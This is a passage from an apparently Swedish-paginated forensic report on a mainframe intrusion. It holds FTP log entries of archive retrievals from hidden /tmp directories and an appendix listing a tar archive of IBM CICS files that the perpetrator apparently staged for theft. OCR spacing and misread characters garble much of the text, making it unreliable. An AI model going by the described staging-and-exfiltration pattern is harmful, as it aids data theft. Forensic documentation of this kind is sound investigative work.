1 2 . 1 4 . 1 8 . 8 3 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S EQ ; AV I Y 3 5 4 ; I ; S ; F ; H ; l l . l 4 . 0 2 ; 1 1 . 1 4 .  

1 8 ; 3 4 2 8 3 5 0 0 ; S ; ; ; ; FT P D 1 ; s em a i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 3 7 0 0 2 ; / tmp / u . t g z  

T C P_FT P_SERVER_T_S Y 1 9_0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 1 8 . 9 9 0 0 0 0 ; < C 5 >UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S EQ ; AV I Y 3 5 4 ; I ; S ; F ; H ; l 1 . 1 4 . 4 1 ; 1 1 . 1 5 .  

1 8 ; 5 4 0 1 6 0 0 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / tmp / u . t g z  

T C P  F T P_ S E RVER_T_ S Y 1 9_ 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 1 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

1 2 . 1 5 . 2 1 . 0 7 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; AV I Y 3 5 4 ; I ; S ; F ; H ; l 1 . 1 5 . 2 0 ; 1 1 . 1 5 .  

2 0 ; 2 0 4 8 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 2 0 3 . 1 7 6 . 1 4 1 . 2 0 5 ; 4 2 9 1 1 ; / tmp / s t a s h . t g z  

T C P_ F T P  S E RVER_T_S Y 1 9 0 3 1 0 - 0 3 2 6 . c s v : 2 0 1 2 - 0 3 - 1 5 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 5 -

2 2 . 2 1 . 3 1 . 8 9 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S E Q ; WA H S 0 0 6 ; I ; S ; F ; H ; 2 1 . 2 1 . 2 6 ; 2 1 . 2 1 .  

3 1 ; 1 5 7 2 4 8 0 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 5 5 4 2 8 ; / u / d 6 1 0 / r fv f tp / l . t g z  

T C P_FTP_SERVER_T_S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 1 0 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 0 -

2 2 . 0 3 . 3 2 . 0 4 0 0 0 0 ; < C 5 > UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S EQ ; NU S ; I ; S ; F ; H ; 2 0 . 5 8 . 4 4 ; 2 1 . 0 3 . 2 8 ; 2 1 9  

6 6 3 0 0 ; S ; ; ; ; FT P D 1 ; DAFAS ; 1 9 4 . 2 3 . 6 1 . 1 5 1 ; 3 5 2 5 3 ; / S Y S TEM/ tmp / c t s 3 2 . t g z  

T C P_ F T P_ S E RVER_T_S Y S 3_0 3 1 0 - 0 3 2 7 . c sv : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 2 8 . 3 7 . 2 4 0 0 0 0 ; < C 5 >UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 0 8 . 2 7 . 5 1 ; 0 8 . 2 8 . 3 7 ; 8 3 2  

7 1 7 0 0 ; S ; ; ; ; F T P D 1 ; DAFAS ; 9 3 . 1 8 6 . 1 7 0 . 5 4 ; 2 7 7 2 2 ; / tmp / . , / u . i t . t g z  

T C P_FT P_SERVE R_T_S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 2 9 . 2 3 . 7 5 0 0 0 0 ; < C 5 >UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 0 8 . 2 9 . 1 0 ; 0 8 . 2 9 . 2 3 ; 2 1 7  

7 0 2 0 0 ; S ; ; ; ; F T P D 1 ; DAFAS ; 9 3 . 1 8 6 . 1 7 0 . 5 4 ; 2 7 7 2 2 ; / tmp / . , / c i c s . i t . t g z  

T C P_F T P  S E RVE R_T_S Y S 3  0 3 1 0 - 0 3 2 7 . c s v : 2 0 1 2 - 0 3 - 2 0 ; 0 9 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 2 0 -

0 9 . 5 6 . 5 0 . 1 8 0 0 0 0 ; < C 5 > UNKNOWN ; S Y S 3 ; ; 1 9 2 . 1 6 . 1 4 3 . 2 ; 2 1 ; ; ; RE T R ; S E Q ; NU S ; I ; S ; F ; H ; 0 8 . 5 6 . 2 6 ; 0 8 . 5 6 . 4 9 ; 3 5 8  

8 1 0 0 0 ; S ; ; ; ; FT P D 1 ; DAFAS ; 9 3 . 1 8 6 . 1 7 0 . 5 4 ; 3 4 6 1 4 ; / tmp / . , / l o c a l . t g z  

T C P  F T P_ S E RVER_WAH S 0 0 6_0 3 1 5 - 0 3 1 6 . c s v : 2 0 1 2 - 0 3 - 1 5 ; 2 2 . 0 0 . 0 0 ; 2 0 1 2 - 0 3 - 1 5 -

2 2 . 2 1 . 3 1 . 8 9 0 0 0 0 ; < C 5 > UNKNOWN ; S Y 1 9 ; ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 2 1 ; ; ; RE T R ; S EQ ; WA H S 0 0 6 ; I ; S ; F ; H ; 2 1 . 2 1 . 2 6 ; 2 1 . 2 1 .  

3 1 ; 1 5 7 2 4 8 0 0 ; S ; ; ; ; FT P D 1 ; s ema i n f ; 2 1 7 . 1 5 0 . 1 7 4 . 8 0 ; 5 5 4 2 8 ; / u / d 6 1 0 / r fv f tp / l . t g z  
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Appendix K: Content of archive fil e 1 .tgz 

Th i s  append ix  d i sp l ay the content of a fi l e  a rch ive (a campressed u n ix  TAR a rch ive) that have been 

created by the pe rpetrator. 

As ca n be seen, the fi les fome ma i n ly from the /usr/ l pp pa rts of the fi l e h i e ra rchy, a nd  more 

specifi ca l ly fi les rel ated to C ICS and  Web Servi ces. Ma  ny of these fi l es a re sta nda rd I B M  fi les,many 

written i n  J ava, but there a re a l so fi les that a re l oca l to Logica a nd  the i r  customers .  Same  fi les  have 

been ma rked with bo l  d text to mark  th i s .  

To have the perpetratar down load these fi les ca n have severa l reasons :  

• To get a copy to ru n i n  the perpetraters own Hercu les 
• To be ab l e  to exam i ne  sta ndard I BM C ICS re lated fi les, to assess them for secu rity 

vu l nerab i l it ies that ca n be used fu rthe r on 
• To be a b le  to exam i ne  Logica a nd  Logi ca customer  l oca l C ICS re l ated fi les, to assess them for 

secu rity vu l nerab i l i t ies that ca n be used fu rther on 
• To exa m i ne fi les for a uthent ication  i nformat ion,  e .g .  userna mes and  passwords 
• To exa m i ne fi les for i nte rna !  resou rces, e .g .  na mes of I BM  system resou rces, l P  add resses, etc 
• To stea l  i nformat ion 

rom$ t a r  z tv f  1 . t g z  

drwx r - x r - x  o SUPERUSR V 3 8 4  o Ap r 2 3  2 0 0 9  / u s r / 1pp / c i c s t s /  

drwxrwx r - x  o S U PERUSR V 0 7 7  o Ap r 2 3  2 0 0 9  / u s r / 1 pp / c i c s t s / app l /  

drwxrwx r - x  o S U PERU S R  V 0 7 7  o Ma y 2 7  2 0 1 1  / u s r / lpp / c i c s t s / c i c s t s 3 2 /  

- rw - r w - r w - o SUPERUSR V 0 7 7  7 0  Nov 2 7  2 0 0 8  / u s r / l pp / c i c s t s / c l c s t s 3 2 /  n o t e 0 8 1 1 2 7 . t x t  

drwx r w x r - x  o S U PERUSR OMVS GRP o Nov 1 2  2 0 0 8  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib /  

- rwxrwx r - x  o S U PERU S R  OMVS GRP 1 6 9 1 8  O c t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / d f j a d j r . j a r 

- rwxrwx r - x  o SUPERUSR OMVSGRP 3 7 2 8 0  O e t  1 6  2 0 0 7  / u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / d f j c c i . j a r 

- rwxrwx r - x  o S U PERUSR OMVS GRP 2 4 6 5 5 4  O e t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / d f j c dmn . j a r 

- rwxrwx r - x  o S U PERU S R  OMVS GRP 1 9 9 4 2 4  O e t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / d f j c i c s . j a r 

- rwxrwx r - x  o S U PERUSR OMVS GRP 1 3 6 4 1 0  O e t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / d f j c i c s r a s . j a r 

- rwxrwx r - x  o S U PE RU S R  OMVS GRP 3 7 6 9 3 4  O e t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / d f j c o n t . j a r 

- rwxrwx r - x  o S U PERU S R  OMVS GRP 1 8 6 1 6 2 O e t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / d f j c s i . j a r 

- rwxrwx r - x  o S U PERUSR OMVS GRP 9 2 3 0 6  O e t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / d f j e j b dd . j a r 

- rwxrwx r - x  o S UPERU S R  OMVS GRP 9 2 3 0 2  O e t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / d f j j t s . j a r 

- rwxrwx r - x  o S U PERUSR OMVS GRP 6 9 2 0 2 1  O e t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / d f j n ame . j a r 

- rwxrwx r - x  o S U PERU S R  OMVSGRP 1 8 4 4 1 3  O e t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / d f j o rb . j a r 

- rwxrwx r - x  o SUPERUSR OMVS GRP 8 3 0 1  O e t  1 6  2 0 0 7  / u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / d f j output . j a r 

- rwxrwx r - x  o S U PE RU S R  OMVS GRP 1 7 4 1 7  O c t  1 6  2 0 0 7  / u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / d f j wrap . j a r 
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- rwxrwx r - x  O S U PE RU S R  OMVS GRP 4 3 3 3 5 6 8  O c t  1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / l i b / l ib c om_ibm_ c i c s  s e rv e r  D T C . s o 

- rwxrwx r - x  O SUPERUSR OMVS GRP 4 3 3 3 5 6 8  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / l ib c om_ibm_c i c s  s e rv e r  D T C  g . s o 

- rwxrwx r - x  O S U PERU S R  OMVS GRP 1 8 0 2 2 4  O c t  1 6  2 0 0 7  

/ u s r / lp p / c i c s t s / c i c s t s 3 2 / l i b / l ib d f h a p j vmt . s o 

- rwxrwx r - x  O SUPERUSR OMVS GRP 1 8 0 2 2 4  O c t  1 6  2 0 0 7  

/ u s r / l pp / c l c s t s / c l c s t s 3 2 / l lb / l lb d f h a p J vmt g . s o 

- rwxrwx r - x  O S U PERUSR OMVS GRP 1 1 4 6 8 8  O c t  1 6  2 0 0 7  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / l i b / l ib d f h c d j n i . s o 

- rwxrwx r - x  o SUPERUSR OMVS GRP 1 1 4 6 8 8  O e t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / l ib d f h c d j n i_g . s o 

Sidan 224 av 57 4 

Report 

- rwxrwx r - x  o S U PERUSR OMVS GRP 2 3 9 7 1 4  O e t  1 6  2 0 0 7  / u s r / lpp / c i c s t s / c i c s t s 3 2 / l i b / n s s r cm . j a r 

- rwxrwx r - x  o S U PERUSR OMVS GRP 2 5 5 5 9 3  O e t  1 6  2 0 0 7  / u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / om g c o s . j a r 

- rwxrwx r - x  o S U PERUSR OMVS GRP 1 6 1 2 1 2  O e t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / r a s . j a r 

drwxrwx r - x  0 S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / s e c u r i t y /  

- rwxrwx r - x  0 S U P E RU S R  OMVS GRP 8 2 2  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / s e c u r i t y / d f h r e g  

- rwxrwx r - x  0 S U PE RU S R  OMVS GRP 1 2 1 2  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / s e c u r i t y / d f h r e g . b a t  

- rwxrwx r - x  0 SUPERUSR OMVS GRP 1 0 1 8 7  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / s e c u r i t y / d f h r e g . j a r 

drwxrwx r - x  0 S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / s e cu r i t y / I BM /  

hrwxrwx r - x  0 SUPERUSR OMVS GRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / s e cu r i t y / I BM / D F J @ H 1 4 6  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / s e c u r i t y / d f h r e g . j a r 

hrwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / s e cu r i t y / I BM / D F J @ H 1 4 7  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / s e cu r i t y / d f h r e g . b a t  

h rwxrwx r - x  O S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / s e c u r i t y / I B M / D F J @ H 1 4 8  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / s e cu r i t y / df h r e g  

- rwxrwx r - x  O S U PERUSR OMVS GRP 1 1 3 6 0 5  O c t  1 6  2 0 0 7  / u s r / l p p / c i c s t s / c i c s t s 3 2 / l ib / we b s p h e r e . j a r 

drwxrwx r - x  O S UPERUSR OMVS GRP O Nov 6 2 0 0 8  / u s r / l p p / c i c s t s / c i c s t s 3 2 / l ib / w s d l /  

- rwxrwx r - x  0 S U PERUSR OMVS GRP 1 5 6 3 9 6  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / c ommo n . j a r 

- rwxrwx r - x  0 SUPERUSR OMVSGRP 7 7 5 7  O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s d l / c ommo n . r e s ou r c e s . j a r 

- rwxrwx r - x  O S U P E RU S R  OMVS GRP 4 7 8 0 0 3  Nov 6 2 0 0 8  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / l ib / w s dl / d f j w s dl . j a r 

- rwxrwx r - x  O S U PERUSR OMVS GRP 7 0 7 0 1  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / e c o r e . change . j a r 

- rwxrwx r - x  O S U PE RU S R  OMVS GRP 7 5 0 0 9 8  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s d l / e c o r e . j a r 
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- rwxrwx r - x  O S U PERU S R  OMVSGRP 3 1 0 4 8 1  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s d l / w o d e n . j a r 

- rwxrwx r - x  0 S U PERUSR OMVSGRP 1 4 8 4 2 9  O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l i b / w s d l / w s d l 4 j . j a r 
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- rwxrwx r - x  O S U PERU S R  OMVSGRP 7 0 3 6 3 0  O c t  1 6  2 0 0 7  / u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s dl / x s d . j a r 

- rwxrwx r - x  0 S U PERUSR OMVSGRP 4 5 1 2 6  O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / x s d . r e s o u r c e s . j a r 

- rwxrwx r - x  0 S U PE RU S R  OMVSGRP 1 1 4 2  O c t  1 6  2 0 0 7  / u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / D FH L S 2 W S 

- rwxrwx r - x  O S U PERUSR OMVSGRP 1 1 4 2  O c t  1 6  2 0 0 7  / u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / DFHW S 2 L S  

drwxrwx r - x  O S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  / u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / I BM /  

hrwxrwx r - x  O S U PERUSR OMVSGRP 0 Nov 6 2 0 0 8  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l i b / w s dl / I B M / D F J @ H 1 7 6  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s dl / d f j w s d l . j a r 

hrwxrwx r - x  O S U PERU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / I BM / D F J @ H 1 7 7  l i n k  t o  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / l ib / w s d l / c ommo n . j a r 

hrwxrwx r - x  O S U PE RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s d l / I B M / D F J @ H 1 7 8  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / c ommo n . r e s o u r c e s . j a r 

hrwxrwx r - x  0 S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / I BM / D F J @ H 1 7 9  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s d l / e c o r e . c h a n g e . j a r 

hrwxrwx r - x  O S U PERUSR OMVSGRP O O c t  1 6  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / I B M / D F J @ H 1 8 0  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / e c o r e . j a r 

hrwxrwx r - x  O S U PERUSR OMVSGRP O O c t  1 6  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / I B M / D F J @ H 1 8 2  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s d l / w s dl 4 j . j a r 

hrwxrwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  

/ u s r / l p p / c i c s t s / c i c s t s 3 2 / l ib / w s dl / I B M / D F J @ H 1 8 3  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s dl / x s d . j a r 

hrwx rwx r - x  O S U PERUSR OMVSGRP O O c t  1 6  

2 0 0 7  

l i n  k 

2 0 0 7  

l i n  k 

2 0 0 7  

l i n k 

2 0 0 7  

l i n  k / u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / I BM / D F J @ H 1 8 4  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / x s d . r e s o u r c e s . j a r 

hrwx rwx r - x  0 S U PERUSR OMVSGRP O O c t  1 6  2 0 0 7  

t o  

t o  

t o  

t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s dl / I BM / D F J @ H 1 8 6  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s dl / DFHWS 2 L S  

hrwxrwx r - x  0 S U P E RU S R  OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s dl / I BM / D F J @ H 1 8 7  l i n k  t o  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s dl / D F H L S 2 W S  

- rwxrwx r - x  O S U PERUSR OMVSGRP 1 2 8 3 0 2  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s d l / I B M / D F J @ H 2 2 9  

hrwxrwx r - x  O S U PERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / I B M / D F J @ H 2 3 0  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s dl / wo d e n . j a r 

- rwxrwx r - x  O S U PERU S R  OMVSGRP 5 7 9 0  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s d l / I B M / D F J @ H 2 3 1  
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hrwxrwx r - x  O SUPERUSR OMVSGRP O O c t  1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / w s d 1 / N ame s p a c e C o n t e x t . j a r 1 i n k  t o  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d 1 / I B M / D F J @ H 2 3 1  

hrwxrwx r - x  O SUPERUSR OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d 1 / Xm 1 S chema . j a r 1 i n k  t o  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d 1 / I BM / D F J @ H 2 2 9  
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drwxrwx r - x  O SUPERUSR OMV S GRP O Nov 7 2 0 0 8  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d1 _o 1 d /  

- rw x r wx r - x  0 SUPERUSR OMVS GRP 1 5 6 3 9 6  O c t  1 6  2 0 0 7  

/ u s r / 1p p / c l c s t s / c l c s t s 3 2 / 1 ib / w s d1 o 1 d / c ommo n . J a r 

- rw x r wx r - x  0 SUPERUSR OMVS GRP 7 7 5 7  Oct 1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d1 o 1 d / c ommo n . r e s o u r c e s . j a r 

- rw x r wx r - x  O SUPERUSR OMVS GRP 4 0 1 0 5 6  Jun 4 2 0 0 8  

/ u s r / 1 p p / c i c s t s / c i c s t s 3 2 / 1 i b / w s d 1  o 1 d / d f j w s d 1 . j a r 

- rw x r wx r - x  0 SUPERUSR OMVS GRP 7 0 7 0 1  Oct 1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 i b / w s d 1  o 1 d / e c o r e . change . j a r 

- rw x r wx r - x  O SUPERUSR OMVS GRP 7 5 0 0 9 8  O c t  1 6  2 0 0 7  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d1 o 1 d / e c o r e . j a r 

- rwxrwx r - x  0 SUPERUSR OMVSGRP 3 1 0 4 8 1  O c t  1 6  2 0 0 7  

/ u s r / 1pp / c l c s t s / c l c s t s 3 2 / 1 ib / w s d 1  o 1 d / w o d e n . J a r 

- rwxrwx r - x  O S U PE RU S R  OMVSGRP 1 4 8 4 2 9  O c t  1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / w s d 1  o 1 d / w s d1 4 j . j a r 

- rwxrwx r - x  0 SUPERUSR OMVS GRP 7 0 3 6 3 0  O c t  1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c l c s t s 3 2 / 1 lb / w s d1 o 1 d / x s d . J a r 

- rwxrwxr - x  0 SUPERUSR OMVSGRP 4 5 1 2 6  Oct 1 6  2 0 0 7  

/ u s r / 1 p p / c l c s t s / c l c s t s 3 2 / 1 lb / w s d1 o 1 d / x s d . r e s o u r c e s . J a r 

- rwxrwx r - x  0 SUPERUSR OMVS GRP 1 1 4 2  Oct 1 6  2 0 0 7  

/ u s r / 1 p p / c i c s t s / c i c s t s 3 2 / 1 ib / w s d 1  o 1 d / DF H L S 2 W S  

- rwxrwx r - x  O S U PE RU S R  OMVSGRP 1 2 2 0  Nov 7 2 0 0 8  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d1 o 1 d / DFHW S 2 L S  

- rwx r - x r - x  0 SUPERUSR OMVS GRP 1 1 4 2  N o v  7 2 0 0 8  

/ u s r / 1 p p / C l C S t S / C l C S t s 3 2 / 1 lb / w s d1 o 1 d / DFHWS 2 L S  o r g  

drwxrwx r - x  0 SUPERUSR OMVSGRP O Oct 1 6  2 0 0 7  / u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 i b / w s d1_o 1 d / I BM /  

- rwxrwx r - x  0 SUPERUSR OMVSGRP 4 7 8 0 0 3  Nov 6 2 0 0 8  

/ u s r / 1pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d1 o 1 d / I BM / D F J @ H 1 7 6  

- rwxrwx r - x  O SUPERU S R  OMVSGRP 1 5 6 3 9 6  O c t  1 6  2 0 0 7  

/ u s r / 1 pp / C l C S t s / C l C S t s 3 2 / 1 lb / w s d 1 o 1 d / I B M / D F J @ H 1 7 7  

- rwxrwx r - x  0 S U PERUSR OMVSGRP 7 7 5 7  Oct 1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d 1  o 1 d / I BM / D F J @ H 1 7 8  

- rwxrwx r - x  O SUPERUSR OMVSGRP 7 0 7 0 1  Oct 1 6  2 0 0 7  

/ u s r / 1 p p / c i c s t s / c i c s t s 3 2 / 1 ib / w s d1 o 1 d / I B M / D F J @ H 1 7 9  

- rwxrwx r - x  O S U PE RU S R  OMVSGRP 7 5 0 0 9 8  O c t  1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d 1  o 1 d / I BM / D F J@ H 1 8 0  

- rwxrwx r - x  0 S UPERU S R  OMVSGRP 1 4 8 4 2 9  O c t  1 6  2 0 0 7  

/ u s r / 1 pp / c i c s t s / c i c s t s 3 2 / 1 ib / w s d1 o 1 d / I BM / D F J@ H 1 8 2  

- rwxrwx r - x  0 S U PE RU S R  OMVS GRP 7 0 3 6 3 0  O c t  1 6  2 0 0 7  

/ u s r / 1pp / c l c s t s / c l c s t s 3 2 / 1 l b / w s d 1  o 1 d / I BM / D F J @ H 1 8 3  
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- rwxrwx r - x  0 S U PE RU S R  OMVSGRP 4 5 1 2 6  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s d l  o l d / I BM / D F J @ H 1 8 4  

- rwxrwx r - x  0 SUPERUSR OMVS GRP 1 1 4 2  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s d l_o l d / I BM / D F J @ H 1 8 6  

- rwxrwx r - x  O SUPERUSR OMVS GRP 1 1 4 2  Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s dl o l d / I B M / D F J @ H l 8 7  

- rwxrwx r - x  O S U PE RU S R  OMVS GRP 1 2 8 3 0 2  O c t  1 6  2 0 0 7  

/ u s r / l pp / C l C S t S / C l C S t s 3 2 / l l b / w s dl o l d / I BM / D F J @ H 2 2 9  

- rwxrwx r - x  0 S U PERU S R  OMVS GRP 3 1 0 4 8 1  O c t  1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l i b / w s dl o l d / I BM / D F J @ H 2 3 0  

- rwxrwx r - x  0 S U PERU S R  OMVS GRP 5 7 9 0  Oct 1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s d l  o l d / I BM / D F J @ H 2 3 1  

drwx rwx r - x  0 S U PE RU S R  OMVS GRP O Oct 1 6  2 0 0 7  

/ u s r / l pp / c i c s t s / c i c s t s 3 2 / l ib / w s d l  o l d / I BM O L D /  

hrwxrwx r - x  0 SUPERUSR OMVS GRP 0 J u n  4 2 0 0 8  

/ u s r / lpp / c l c s t s / c i c s t s 3 2 / l i b / w s d l  o l d / I BM_O L D / D F J @ H l 7 6  l i n k  t o  

/ u s r / lpp / c i c s t s / c i c s t s 3 2 / l ib / w s d l  o l d / d f j w s d l . j a r 

hrwxrwx r - x  0 SUPERUSR OMVS GRP 0 O c t  1 6  2 0 0 7  

/ u s r / lpp / c i c s t s / c l c s t s 3 2 / l lb / w s dl_o l d / I BM_O L D / DF J @ H 1 7 7  l i n k  t o  

